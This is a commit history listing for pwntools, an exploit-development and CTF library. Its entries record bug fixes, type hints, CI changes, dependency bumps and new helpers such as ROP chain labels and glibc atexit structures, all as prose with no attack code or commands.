Compare commits

..
170 Commits
Author SHA1 Message Date
Yahya Kayaal af4918c43f Fix NameError in submit_flag and Kernel.enable_uart (#2798)
* Fix NameError in submit_flag and Kernel.enable_uart

* Add changelog entry for #2798
2026-11-02 18:32:53 +01:00
Eapp1e 01f5cf08d7 feat(errno): resolve errno values for the requested context (#2788) (#2789)
`pwn errno` only ever consulted the host's errno module, so numbers from a
target of a different architecture were reported as unknown (131 is
ECONNRESET on mips but unused here).

Add -c/--context, built on the same context_arg helper as asm, constgrep and
cyclic: number and name lookups now resolve against pwnlib.constants for the
requested os/arch, and --list/--search honour the flag too. --search also
matches errno names, so the flag stays useful on hosts whose strerror cannot
spell out the target's codes.

Covered with three inline doctests, as TESTING.md asks for.
2026-11-02 08:02:18 +01:00
peace-maker b83a0ddc8c Test on Python 3.15 (#2792)
* Test on Python 3.15

* Use `RLIM_INFINITY` instead of `-1` constant for rlimit modification

Python 3.15 warns against using negative values instead of the constant:

DeprecationWarning: Use RLIM_INFINITY instead of negative limit value.

It has been available since Python 2.

* Update CHANGELOG
2026-10-30 14:16:56 +01:00
Lim Jooyoung f8432266cd docs: fix argument names in regsort, ROP.raw and SSHPath docstrings (#2793)
* docs: fix argument names in regsort, ROP.raw and SSHPath docstrings

regsort documented random instead of randomize, ROP.raw documented data
instead of value, and SSHPath documented name instead of path.

* Add PR number to CHANGELOG entry

* docs: remove changelog entry for docstring fixes
2026-10-29 13:08:20 +01:00
Peace-Maker a3890a57f2 Merge branch 'beta' into dev 2026-10-27 14:55:24 +08:00
Adil Alperen Çiftci 928d2d36df fix(encoders): handle xor_pair failure and encoder fallback (#2005) (#2780)
* fix(encoders): register ascii_shellcode for i386 and handle xor_pair failure (#2005)

* docs: add PR 2780 changelog entry

* test(encoders): add doctest regression coverage

* fix(encoders): escape null bytes in printable doctest

* test(encoders): move regression coverage to doctests

* fix(encoders): dont register ascii encoder by defualt

* docs(encoders): drop stael ascii reg changelog claim

* fix(encoders): preserve existing byte filtering behavior

---------

Signed-off-by: Adil Alperen Çiftci <[email protected]>
2026-10-26 07:58:11 +01:00
c2b9afc472 feat(cli): add 'pwn errno --list' + perror-string lookup (#2657) (#2727)
* feat(cli): add 'pwn errno --list' / -l + perror-string fallback (#2657)

- '--list / -l': dump every known errno (value, name, strerror message).
- '--search / -s': force perror-substring match (case-insensitive).
- Bare 'pwn errno <text>' falls back to a perror substring search when the
  argument is neither an integer nor a known errno macro name. So
  'pwn errno "Cannot allocate memory"' now prints ENOMEM directly.
- Positional 'error' arg is now optional so '--list' can be used alone;
  argparse explains the requirement when neither is supplied.

Closes #2657

* Update CHANGELOG.md for #2727

* Add type hints to errno commandline tool

---------

Co-authored-by: Chris (ChrisJr404) <[email protected]>
Co-authored-by: Peace-Maker <[email protected]>
2026-10-24 12:00:21 +02:00
Taranandpeace-maker 4904b537bf fix: don't truncate the last byte of FileStructure.struntil (#2761)
* fix: don't truncate the last byte of FileStructure.struntil

* changelog: add entry for #2761

---------

Co-authored-by: peace-maker <[email protected]>
2026-10-24 11:46:51 +02:00
colinthebomb1andArusekk 12c7072a77 memleak: add opt-in persistent leak cache (#2741)
* memleak: add opt-in persistent leak cache via cache_file

* memleak: document cache_file and add a persistence doctest

* simplify doctest

* add changelog

---------

Co-authored-by: Arusekk <[email protected]>
2026-10-24 11:21:47 +02:00
Toniandpeace-maker 78d1809580 fix: Fix DeprecationWarning when setting ssl=True in remote() (#2750)
* fix: Fix DeprecationWarning when setting ssl=True in remote()

The current code initializes SSLContext with `ssl.PROTOCOL_TLSv1_2`, which has been deprecated for a while now

This should be the correct fix according to the documentation (https://docs.python.org/3/library/ssl.html#ssl.SSLContext)

* Update CHANGELOG

* Fix the new ssl thing, document a way to disable cert verification

---------

Co-authored-by: peace-maker <[email protected]>
2026-10-24 11:09:05 +02:00
Sharique Ahmad 99a4fe5596 docs: put plain doctest blocks in the default group for Sphinx 9 (#2784)
* docs: put plain doctest blocks in the default group for Sphinx 9

doctest_test_doctest_blocks is the group name plain >>> blocks are
assigned to. Sphinx < 9 ignored it and always used "default"; Sphinx 9.0
honours it (sphinx-doc/sphinx#13858), so our 'true' moved every plain
block into a group named "true" while `.. doctest:: :hide:` blocks stayed
in "default". The two groups run separately, so hidden context.clear()
calls no longer ran between the examples around them.

Fixes #2711

* Update CHANGELOG for #2784
2026-10-17 16:12:16 +02:00
peace-maker 1429a134ec Fix more global type errors (#2770)
Fix most of the type errors in global scope before enabling type checks on untyped functions.
2026-09-03 11:43:35 +02:00
Arusekk c8645fef4c Fixup homebrew docs
Ref: #2768
2026-08-30 09:24:09 +02:00
Waasila AsifandArusekk be8b5480db Added the homebrew workaround in documentation (#2768)
* Added the homebrew workaround in documentation

* Logged PR in CHANGELOG.d

* install.rst: wording

---------

Co-authored-by: Arusekk <[email protected]>
2026-08-28 18:55:35 +02:00
Rogdham d9eff01662 Use compression.zstd (PEP-784) (#2769)
* Use compression.zstd (PEP-784)

* Add changelog entry
2026-08-28 13:54:23 +02:00
Peace-Maker b22998ab12 Re-export toplevel imports in pwn
Help linters to know what to expect when importing `from pwn import *`
2026-08-16 21:47:50 +02:00
d41db1ff27 feat(libcdb): use local debuginfod client cache before hitting servers (#2623) (#2726)
* feat(libcdb): use local debuginfod client cache before hitting servers (#2623)

If gdb / eu-debuginfod-find / abrt has already downloaded the matching
debuginfo for our libc's build-id (cached at $DEBUGINFOD_CACHE_PATH or
$XDG_CACHE_HOME/debuginfod_client/ or ~/.cache/debuginfod_client/),
unstrip_libc() now reuses it directly instead of doing another network
round-trip via debuginfod servers. Validated by ELF magic so non-ELF
junk in the cache is ignored.

Closes #2623

* Update CHANGELOG.md for #2726

* Check our own cache before looking at debuginfod-client

---------

Co-authored-by: Chris (ChrisJr404) <[email protected]>
Co-authored-by: Peace-Maker <[email protected]>
2026-08-16 21:07:10 +02:00
Scott Laglerandpeace-maker 5efe909a91 Add Type Annotations for parts of pwnlib/util (#2679)
* Add Type Annotations for parts of pwnlib/util

* fix: use Callable in pwnlib/util/lists.py

* fix: Import Errors

* fix: use getLogger in pwnlib/util/net

* feat: use collections.abc.Buffer where appropriate

* fix: remove collections.abc.Buffer to use Sequence

* add CHANGELOG.md entry

* Improve packing and fiddling types

* Introduce own `BytesLike` type instead of 3.12 Buffer

* Improve web.wget types

* Use TypedDict in util.net

Specify generics properly.

* Improve pwnlib.proc types

* Improve pwnlib.util.lists types

* Fix util.splash types

* Make TypeVars private

* Improve util.hexdump types

* Remove partial types from packing.fit/flat

Those require more work to be useful.

* Fix implicit wget return

* Fix term.text type export

* Fix js_escape return type

* Fix sh_string doctest types

* Fix usage of ssh_channel as ssh_process

We access the pid, so a plain ssh_channel is not enough.

* Improve util.lists types

* Improve packing.dd types

* Fix relying on socket.AddressFamily type at runtime

The type is only in typeshed and not the real socket module. Don't access it at runtime, only at type checking.

* Fix lists.findall with string needle

* Fix dd on two files

* Update mypy-baseline.txt

* Remove testing artifacts from mypy-baseline.txt

---------

Co-authored-by: peace-maker <[email protected]>
2026-08-16 19:45:40 +02:00
Peace-Maker 29c20ddf6e Skip ssh.ibt doctest since some runners appear to support it now 2026-08-16 12:16:19 +02:00
peace-maker b309e102ba Support paginated libc.rip API requests (#2767)
* Support paginated libc.rip API requests

libc.rip used to truncate the result set but supports pagination now. Fetch all results reliably now by requesting all pages.

Fixes #2651

* Update CHANGELOG
2026-08-16 11:30:55 +02:00
Peace-Maker 7f891444b9 Add types-docutils to dev dependencies 2026-08-09 23:31:19 +02:00
dependabot[bot] 76da472406 build(deps): bump the github-actions group across 1 directory with 3 updates (#2763)
Bumps the github-actions group with 3 updates in the / directory: [actions/checkout](https://github.com/actions/checkout), [actions/cache](https://github.com/actions/cache) and [actions/setup-python](https://github.com/actions/setup-python).


Updates `actions/checkout` from 6 to 7
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v6...v7)

Updates `actions/cache` from 5 to 6
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v5...v6)

Updates `actions/setup-python` from 6 to 7
- [Release notes](https://github.com/actions/setup-python/releases)
- [Commits](https://github.com/actions/setup-python/compare/v6...v7)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
  dependency-group: github-actions
- dependency-name: actions/cache
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
  dependency-group: github-actions
- dependency-name: actions/setup-python
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
  dependency-group: github-actions
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-08-09 11:35:58 +02:00
Taran 508283eac1 fix(srop): correct amd64 SigreturnFrame uc_sigmask offset (#2762)
* fix(srop): correct amd64 SigreturnFrame uc_sigmask offset

* changelog: add entry for #2762
2026-08-02 18:53:22 +02:00
citizen204 de073eb151 docs(args): clarify reserved args (DEBUG/NOASLR) map to context, not args (#2753)
* docs(args): clarify reserved args map to context, not args.NOASLR

Reserved magic arguments such as DEBUG and NOASLR are consumed as hooks
that adjust context (context.log_level, context.aslr) and are never
stored in the args dict, so args.NOASLR is always the empty string.

The pwnup template comment previously claimed these settings 'show up
in args', which reinforced the wrong mental model and led users to
check args.NOASLR instead of context.aslr. Clarify both the template
comment and the pwnlib.args module docstring.

Fixes #2564

* docs: add changelog entry for args/pwnup.mako docstring clarification

CI requires a CHANGELOG.md entry for changes touching pwnlib/args.py
and pwnlib/data/templates/pwnup.mako.
2026-07-25 08:14:33 +02:00
peace-makerandChristian Clauss 6571ec7de5 Add support for debugging with x64dbg on Windows (#2735)
* Add support for debugging with x64dbg on Windows

Add x64dbg option to `context.debugger` to attach using x64dbg in `windbg.debug()`.

The path to the x96dbg.exe is looked up in the path and through the "Debug with x64dbg" shell extension you can install optionally when first launching the x96dbg.exe launcher.
You can specify the path using `context.x64dbg_binary` too.

* Refactor exclusion of `context.debugger="auto"` while handling `"auto"`

Co-authored-by: Christian Clauss <[email protected]>

* Update CHANGELOG

* Remove absolute path workaround

x64dbg 2026.05.27 fixed passing absolute paths to a script file using -cf.

* Remove bare raise

log.error raises already.

* Fix linting error of winreg import on linux

The module is only available on Windows. So ignore the error when linting on another platform.

---------

Co-authored-by: Christian Clauss <[email protected]>
2026-07-05 23:47:24 +02:00
Peace-Maker 86cafce196 Disable debuginfod tests in libcdb.unstrip_libc
The external debuginfod servers are really slow or won't respond at all like debuginfod.ubuntu.com.
The caching in CI doesn't help since we only cache it for 3 month and the query fails afterwards most of the time. We cache the negative response too which doesn't help if the service is flakey itself :D
2026-07-05 23:22:27 +02:00
peace-maker cded3cf1e5 ROP: Add labels to reference addresses relative to your chain (#2734)
* ROP: Add labels to reference gadgets dynamically

Allow to assign a name to a point in the ROP chain using `ROP.setlabel(name)`
and reference it somewhere else using `ROP.uselabel(name, offset)`.
You have to know the location of your chain in memory to resolve the
right addresses. This allows to specify addresses relative to your ROP chain payload in your chain.

Refs #2583

* Update ret2dlresolve test output

* Update CHANGELOG

* Rename functions to `label` and `ref`

This is less verbose than `setlabel` and `uselabel` but still descriptive enough to be able to guess what they do.
2026-07-04 18:39:10 +02:00
09fbd3a681 fix: replace bare except with except Exception (#2743)
* fix: improve exception handling in process.py and adb.py

- process.py: restore bare except with pylint disable (intentional: catches
  non-Exception errors during Python interpreter shutdown)
- adb.py: use specific (OSError, EOFError) instead of broad except Exception

* fix: add missing import for remote in adb.py

The bare except was silently catching NameError from the missing
remote import. Added 'from pwnlib.tubes.remote import remote' to
fix the actual underlying bug.

* docs: add changelog entry for PR #2743

* docs: move changelog reference link near 5.0.0 release section

* fix: catch PwnlibException in emulator AVD name lookup

The bare except was catching PwnlibException raised by remote() when
connection fails. Replacing with except (OSError, EOFError) caused
PwnlibException to propagate, potentially causing retry loops in
Android CI.

Fix by adding PwnlibException to the exception tuple.

* fix: prevent __getattr__ infinite recursion with context.device setter

When context.device setter accesses device.arch, it triggers AdbDevice's
__getattr__ (instead of the arch property). __getattr__ then calls
context.local(device=self), which triggers the setter again, causing
infinite recursion.

Fix: check if the attribute exists on the class via MRO.__dict__
before entering the context.local() path. This lets Python's normal
property resolution handle class-defined attributes.

* revert: remove __getattr__ MRO guard

Peace-maker correctly points out that __getattr__ is only called when
normal attribute lookup fails, so the MRO guard is unnecessary.
The infinite recursion is a pre-existing bug unrelated to this PR.

* Assign to `_avd` instead of `avd`

---------

Co-authored-by: mshzy <[email protected]>
Co-authored-by: peace-maker <[email protected]>
2026-06-27 23:42:54 +02:00
九条涼果 2ec3fe6ac0 fix(ssh): ssh.which returning None for POSIX paths when running on Windows (#2732)
* fix(ssh): use POSIX separator for path detection in ssh.which

On Windows, `os.path.sep` is '\\', which fails to detect POSIX paths.
Hardcoding '/' ensures consistent path detection since the `ssh`
module targets POSIX-compliant systems.

* Update CHANGELOG.md

* feat(context): add path_sep and pathlist_sep to context, make the path seperator dependent on the context.os

* fix(ssh): declare path separator as private member in ssh

* fix(ssh): remote path handling with pathlib

* fix(ssh): replace os.path.basename functions with pathlib for path handling

* fix(ssh): ensure remote paths are decoded to str
2026-06-26 11:47:38 +02:00
Carlos Luna-Penaandpeace-maker f4205e5e9e Guide users to libc_start_main_return for __libc_start_main_ret (#2746)
* guide users to libc_start_main_return for __libc_start_main_ret

looking up __libc_start_main_ret on ELF(libc).sym just threw a plain
KeyError/AttributeError even though libcdb shows that symbol, which is
confusing (issue 2563). it's not a real symbol so we can't just add it,
and computing it means disassembling __libc_start_main which we don't
want to do for everyone by default.

so for now the symbols dotdict raises a message pointing at the existing
ELF.libc_start_main_return property when you ask for that key. lazy auto
calc can come later. added a doctest covering both sym['...'] and
sym.__libc_start_main_ret access, tests pass.

* use bare super() in symboldict

peace-maker noted new code can use py3 super(), so drop the
redundant (symboldict, self) args.

* add changelog entry for 2746

---------

Co-authored-by: peace-maker <[email protected]>
2026-06-22 19:18:15 +02:00
peace-maker 6221f41a45 Fix libcdb CI cache not forwarding URI path (#2749)
The nginx docs say that you have to specify the $request_uri manually when a variable is used in the `proxy_pass` value.
Since we just put `/` at the end, all requests were rewritten to `/` instead of the intended e.g. `/api/find` endpoints.

https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass

This broke in #2718 but didn't manifest right away since the responses were still cached in CI. Now after the cache expired the fetch failed.
2026-06-22 19:16:52 +02:00
colinthebomb1 4c39ca92f2 setup: install docs to FHS-compliant share/doc/pwntools (#2740)
* setup: install docs to FHS-compliant share/doc/pwntools

* changelog: add entry for #2740
2026-06-02 18:30:21 +02:00
Carlos Luna-Pena 57de79f0e3 fix #2737: pwnlib.shellcraft submodule imports on python 3.12+ (#2739)
* shellcraft: migrate lazy importer to find_spec for py3.12+

* shellcraft: changelog entry + mypy baseline sync for #2739
2026-05-31 00:03:11 +02:00
peace-maker 5c37c2477b Add type hints to pwnlib.log (#2738) 2026-05-30 23:15:26 +02:00
peace-maker fb35a123b4 Fix some global type hint errors (#2736)
* Fix some global type hint errors

Errors in global scope should be fixed before we're enabling strict mode in mypy and tackle the local problems.

* Remove pwnlib.util.pairwise since it's in itertools now

pairwise was added to itertools itself in 3.10.
https://docs.python.org/3/library/itertools.html#itertools.pairwise
2026-05-28 17:16:27 +02:00
xtex b0e224b02c loongarch64: prefer assembler macros (#2733)
It turned out that the generator I wrote previously
was incorrect. The assembler pseudo-instruction
should work.
2026-05-26 10:14:26 +02:00
peace-maker 658479605b Fix atexception handlers in term mode (#2730)
* Fix atexception handlers in term mode

The colored-traceback module registers its own `sys.excepthook` but doesn't call the original handler.
Reorder the includes such that the colored-traceback is setup before and our own hooks afterwards.
We always call the old excepthook and forward the exception to the colored-traceback after firing our own handlers.

It worked before in non-term mode when stderr wasn't a tty and colors were disabled.

* Update CHANGELOG

* Import atexception in doctests
2026-05-21 15:59:17 +02:00
Arusekk c05fc99200 no atexit, OS will suffice 2026-05-15 00:21:44 +02:00
Arusekk 5d48acaa6b rop: simplify logging 2026-05-14 23:31:10 +02:00
4e1780781f feat(libcdb): add extra_mirrors arg + PWN_EXTRA_LIBC_MIRRORS env to download_libraries (#2666) (#2725)
* feat(libcdb): add extra_mirrors arg + PWN_EXTRA_LIBC_MIRRORS env to download_libraries (#2666)

When the libc.rip URL points at a deb.debian.org / archive.ubuntu.com /
security.debian.org URL whose package has been pulled (e.g. older
vulnerable libc versions like 'GLIBC 2.36-9+deb12u6'), download_libraries
now also tries the same /pool/... path against any user-supplied mirror
prefix(es). Mirrors can be passed via the new keyword argument
extra_mirrors=... (str or list) or the comma/whitespace-separated
PWN_EXTRA_LIBC_MIRRORS environment variable.

Closes #2666

* Update CHANGELOG.md for #2725

* Rename environment variable to `PWNLIB_EXTRA_LIBC_MIRRORS`

All our other user-facing environment variables are `PWNLIB_` instead of `PWN_`.

* Move `import re` to toplevel

* Add type hints to touched functions

* Add example usage for download_libraries with extra_mirrors parameter

* Fix envvar in CHANGELOG

---------

Co-authored-by: Chris (ChrisJr404) <[email protected]>
Co-authored-by: Peace-Maker <[email protected]>
2026-05-07 18:17:22 +02:00
peace-makerandCopilot 79ca9a962c Add type hints to timeout, term.text, hashes, and more (#2723)
* Add typehints to timeout module

Co-authored-by: Copilot <[email protected]>

* Add typehints to device class

* Add typehints to PwnlibException

* Add general typehints for term.text module

Since the available module attributes are handled dynamically like `text.green()` or `text.green_on_white()` or `text.underline_red()`, it's not feasible to type out all possible combinations.

Just tell the type checker that all module attibutes have the same type and thus avoid the `error: Module has no attribute "bold_blue"  [attr-defined]` errors.

* Add typehints for config module

* Add typehints for hashes module

The guaranteed algorithms in hashlib are pretty stable and we can generate the list out proper type checking and auto complete.

Still add a check in CI that notifies us if there are changes in the future.

* Add atexception and atexit types

atexception.unregister was not documented correctly since the function expects an identifier returned by `atexception.register` instead of the handler function.

* Fix toplevel type hints in shellcraft.internal

* Fix toplevel type hints in term.key

---------

Co-authored-by: Copilot <[email protected]>
2026-05-07 14:37:29 +02:00
RocketDevandPeace-Maker 9871b5a112 Add atexit functions for glibc exploits (#2683)
* feat: implement basic Exit*

* feat: add docs and doc test to exit func classes

closes #2633 #2637

* fix: add missing line; fix doc test

* chore: update changelog

* fix: remove function signature in docs

Sphinx will automatically resolve it via Python code

* feat: Add source code refs, fix typos

* fix: correct escapes to suppress warning

* feat: add implementation of `struct dtor_list`

* feat: add exit-handler example

* refactor: standardize repr class name

* Fix types and docs

* Fix links in docs

---------

Co-authored-by: Peace-Maker <[email protected]>
2026-05-07 12:21:31 +02:00
ChrisJr404andChris b0d6dcfab8 safeeval: allow LIST_APPEND and SET_ADD opcodes (Python 3.14) (#2722)
* safeeval: allow LIST_APPEND and SET_ADD opcodes (Python 3.14)

* changelog: add entry for #2722 (safeeval Python 3.14 opcodes)

* ci: retrigger after transient libcdb network failure

---------

Co-authored-by: Chris (ChrisJr404) <[email protected]>
2026-05-02 10:27:16 +02:00
OriPandPeace-Maker 52a354b316 Don't cache username in ssh checksec output (#2702)
* add ":" to Distro string

* Update cache file path to include username

Include username in cache file path for better uniqueness.

* Added public_key+fingerprint for ssh class & Modified ssh checksec_cache path to be more unique & checksec is per ssh server and not attached to a user

* Fix typeo

* Revert indentation to 10 chars

* ssh: Fix downloading data to tmp on Windows

Allows the checksec output of the target server to be generated.
Filenames cannot contain a colon ":".

* Update CHANGELOG

---------

Co-authored-by: Peace-Maker <[email protected]>
2026-04-29 07:48:54 +02:00
RocketDev bf68cc1e36 Refactor zsh completion script and deprecate -e in pwn asm (#2689)
* refactor: optimize completion script

And deprecate an interface

* chore: update changelog

* refactor: full patch of zsh comp script

* fix: add missing message in output

* fix: a typo and a missing help

* feat: allow -l to match multiple arguments

* feat: optimize completion logic

1. move all complicated functions in front of pwn()
2. add file completion for libcdb subcommands
3. add completion for pwn errno
2026-04-29 07:29:49 +02:00
Peace-Maker 0304039a07 Merge branch 'beta' into dev 2026-04-27 18:29:25 +02:00
九条涼果 b4481e1843 fix(ssh): resolve PermissionError on Windows during SFTP upload (#2720)
* fix(ssh): resolve PermissionError on Windows during SFTP upload

On Windows, `tempfile.NamedTemporaryFile()` holds an exclusive lock on the file.
Previously, `sftp.put()` attempted to re-open the file by its path, causing a 
`PermissionError: [Errno 13]`. This commit replaces `put` with `putfo`, passing a file object directly to bypass the tempfile entirely.

* Update CHANGELOG.md

Update CHANGELOG.md to include new entries and links.
2026-04-27 17:29:01 +02:00
peace-maker e88054fe49 Start to check type hints gradually (#2714)
* Start to gradually add type hints

Use mypy-baseline to ignore all existing errors for now while avoiding adding new ones in new code.

* Remove Python 2 fallback imports

* Remove py2compat layer

* Avoid redefining a tube helper function

* Remove explicit new-style class (object) syntax

old-style classes were removed in Python 3 so there is no distinction anymore.

* Ignore type error in shellcraft helper script

* Fix repeatedly changing `linux_dirent.d_name`

* Avoid typechecking windows_termcap on Linux

We run mypy on Linux in CI, ignore Windows related import errors

* Run mypy-baseline in CI

* Add type hint plan to CONTRIBUTING

* Sort the mypy baseline

Run with `--sort-baseline` for better diffs.

`mypy | mypy-baseline sync --sort-baseline`

* Switch dev dependencies to dependency-groups

The dependency groups aren't baked into build metadata and won't appear on Pypi.
2026-04-27 17:09:15 +02:00
Natan-P f81578f450 Update run_in_new_terminal docstring (#2706)
* update run_in_new_terminal docstring

* added bypass note

* add note in context.terminal

* update changelog
2026-04-26 14:17:52 +02:00
zackary c59b5cd57e fix: delay upstream DNS resolution to prevent startup failures (#2718)
Use nginx variable pattern (set $upstream + proxy_pass https://$upstream)
to defer DNS resolution until first request instead of at config parse time.

This fixes the occasional 'host not found in upstream' error in CI when
nginx container starts before Docker DNS is fully available.

Fixes #2712
2026-04-19 15:28:09 +02:00
peace-maker ee49a2be76 Remove python-dateutil dependency (#2713)
* Remove python-dateutil dependency

It is only used for parsing the `ro.build.date` string in Android adb.
Since we use `ro.build.date.utc` now as primary build time source,
don't require `python-dateutil` anymore, but keep optional support.

* Update CHANGELOG
2026-04-18 11:47:33 +02:00
Peace-Maker 9ea29f336a Only upload coverage after windows and android tests ran too
The coverage fluctuated when the linux tests finished before the windows or android tests since their coverage would be missing.

So the coverage for the `adb` module went up/down randomly.

Require the windows tests to pass now too!
2026-04-14 12:59:03 +02:00
Peace-Maker b922cbbb8d Merge branch 'beta' into dev 2026-04-14 10:58:13 +02:00
Peace-Maker d5a12c12e4 Fix invalid escape sequence warnings in sphinx docs 2026-04-14 10:53:30 +02:00
ArusekkandPeace-Maker ae89355afa Fix unpack docs (#2700)
* Fix unpack docs

Closes #2684

* Apply same keyword-only marker to `unpack_many`

---------

Co-authored-by: Peace-Maker <[email protected]>
2026-04-07 17:47:19 +02:00
dependabot[bot] ec298d27dd Bump docker/build-push-action from 6 to 7 in the github-actions group (#2708)
Bumps the github-actions group with 1 update: [docker/build-push-action](https://github.com/docker/build-push-action).


Updates `docker/build-push-action` from 6 to 7
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6...v7)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
  dependency-group: github-actions
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-04-07 11:23:24 +02:00
peace-maker e882c9bee6 Enable basic tubes/process test on Windows (#2616)
* Enable basic tubes/process test on Windows

Many tests are Linux specific using qemu or /proc etc. So only test the basic process interaction for now.

* Cleanup docs without using ellipsis for Windows output

* Set newline to b'\r\n' for local Windows processes

But only change it automatically if `context.newline` wasn't set manually.

* Disable process.terminate() test on Windows

Windows doesn't support sending SIGTERM to other processes.

https://docs.python.org/3/library/subprocess.html#subprocess.Popen.send_signal

* libcdb CI cache: add another dns server

[emerg] 1#1: host not found in upstream "debuginfod.elfutils.org" in /etc/nginx/nginx.conf:26

The cache should still start despite not being able to resolve some domain.
2026-04-06 18:42:17 +02:00
peace-maker 195d7d589e Add context.debugger to select which debugger to use (#2655)
* Rename `windbg.debug(windbgscript=)` parameter to dbgscript
Prepare to support more debuggers than windbg.

* Pass dbgscript in file instead of inline
This way we don't have to deal with shell escaping the dbgscript commands.

* Add `context.debugger` to select which debugger to use
Allow to choose the debugger to start when using `windbg.attach`.
By default it autodetects which debugger is available.
You can specify the path to the debuggers using
`context.windbg_binary` and `context.windbgx_binary`.

* Check if default windbg installation location exists

* Update CHANGELOG
2026-04-06 10:19:11 +02:00
peace-maker f55f440c07 ssh: Discard stderr of lsb_release for Distro lookup (#2704)
* ssh: Discard stderr of `lsb_release`

The "No LSB modules are available." spam interferes with parsing the output for the initial checksec distro parsing when connecting to a new host.

* Update CHANGELOG
2026-04-03 21:57:27 +02:00
Peace-Maker abc6ea86ab libcdb CI cache: Resolve upstream hostnames on request
Instead of trying to resolve all of them when nginx starts and exit
if any of them fail to resolve.

[emerg] 1#1: host not found in upstream "debuginfod.elfutils.org" in /etc/nginx/nginx.conf:23
2026-04-03 21:30:23 +02:00
e6ed0550fa Improve error of process.maps() after the process exited (#2606)
* Fix `process.maps()`

* Changelog

* Update CHANGELOG wording and exception type

---------

Co-authored-by: Raccoon <raccoon@42>
Co-authored-by: Peace-Maker <[email protected]>
2026-04-03 21:14:56 +02:00
Peace-Maker 6ddff06c4c Cache gitlab.com libcdb responses in CI
The reponses set a cloudflare `_cfuvid` cookie and had a cache time of 60 seconds.
nginx doesn't cache responses with a `Set-Cookie` header by default,
so ignore the cookie and override the cache time to 12 weeks.

Fixes #2494
2026-04-03 20:41:01 +02:00
peace-maker fd3cf3d43f Add glibc safe-linking reveal_ptr_same_page (#2686)
* Add `reveal_ptr_same_page`

Reveals a pointer mangled using PROTECT_PTR without knowing where it is stored.
Only works when the pointer points to the same page as it is stored on, which happens regularly in normal tcache next-ptrs.

* Update CHANGELOG
2026-03-24 15:19:19 +01:00
peace-maker 5b22add60e Close SSH client connection when authentication failed (#2688)
* Close SSH client when authentication failed

The TCP connection stayed open after an exception was thrown
during authentication, even when a `with`-statement guarding the call.
Close the connection before re-raising the exception.

Fixes #2678

* Update CHANGELOG
2026-03-24 13:05:59 +01:00
c45674a601 ssh: support raw string input for 'key' argument as documented (#2671)
* ssh: support raw string input for 'key' argument

Implement support for passing the actual private key as a string or bytes, as specified in the documentation. This prevents an AttributeError by converting the string to the appropriate Paramiko PKey object (RSA/ECDSA/Ed25519).

* update changelog

* Add tests for ssh connection using a key

* Cleanup docs

---------

Co-authored-by: Your Name <[email protected]>
Co-authored-by: Peace-Maker <[email protected]>
2026-03-24 13:01:25 +01:00
peace-maker c2f3a2dfca Fix server.close() not closing the listen socket (#2682)
* Fix `server.close()` not closing the listen socket

It would block on `accept` forever, not freeing the listening port.
Break out of `accept()` regularly to check if the socket was closed in the meantime and stop the thread.

* Update CHANGELOG

* Fix `listen.close()` not closing the listen socket

If `close()` was called before a connection was accepted,
the listen socket would not be closed.

* Fix closing listen socket on Windows

Windows throws an ENOTSOCK instead of an EBADF.

* Keep timeout on child socket tube
2026-03-23 17:15:31 +01:00
Arusekk a58534382a Use format strings and raw strings (#2554) 2026-03-21 11:09:46 +01:00
OriP e8bc9dfcc3 Supporting multiarch with modified argv[0] (including x86_64 binaries) (#2691)
* Enabling multiarch with modified argv[0] (including x86_64 binaries)

* Support SSH with multiarch & modified argv[0]
2026-03-21 09:56:14 +01:00
Connor Nelson 7d84b89e1a Update Python version requirement to 3.10 (#2690)
Typing hints would be too cumbersome with older versions.
2026-03-21 09:53:00 +01:00
peace-maker 0386e8a8ee Fix tty and raw arguments in ssh.process (#2699)
* Fix `tty` and `raw` arguments in ssh.process

The arguments were unused and not passed through to the underlying `ssh_process` class.

Fixes #2038

* Add tty tests

* Update CHANGELOG

* Fix buffered process environment output without tty
2026-03-17 10:31:58 +01:00
dependabot[bot] 76894a5404 Bump the github-actions group with 2 updates (#2697)
Bumps the github-actions group with 2 updates: [docker/setup-buildx-action](https://github.com/docker/setup-buildx-action) and [docker/login-action](https://github.com/docker/login-action).


Updates `docker/setup-buildx-action` from 3 to 4
- [Release notes](https://github.com/docker/setup-buildx-action/releases)
- [Commits](https://github.com/docker/setup-buildx-action/compare/v3...v4)

Updates `docker/login-action` from 3 to 4
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v3...v4)

---
updated-dependencies:
- dependency-name: docker/setup-buildx-action
  dependency-version: '4'
  dependency-type: direct:production
  update-type: version-update:semver-major
  dependency-group: github-actions
- dependency-name: docker/login-action
  dependency-version: '4'
  dependency-type: direct:production
  update-type: version-update:semver-major
  dependency-group: github-actions
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-16 17:53:46 +01:00
Rin fb0d0a5dcb refactor: replace unsafe eval with ast.literal_eval in ROP cache loading (#2677)
* refactor: replace unsafe eval with ast.literal_eval in ROP cache loading

* docs: add PR link to CHANGELOG reference section

* docs: restore full CHANGELOG and correctly add PR #2677 reference
2026-03-05 13:27:48 +01:00
Peace-Maker 9d0238cf30 Group Dependabot update PRs
Only check every month instead of weekly too. Try to reduce the spam. <3 @Arusekk
2026-03-05 13:02:46 +01:00
dependabot[bot] bd82ded522 Bump actions/download-artifact from 7 to 8 (#2696)
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 7 to 8.
- [Release notes](https://github.com/actions/download-artifact/releases)
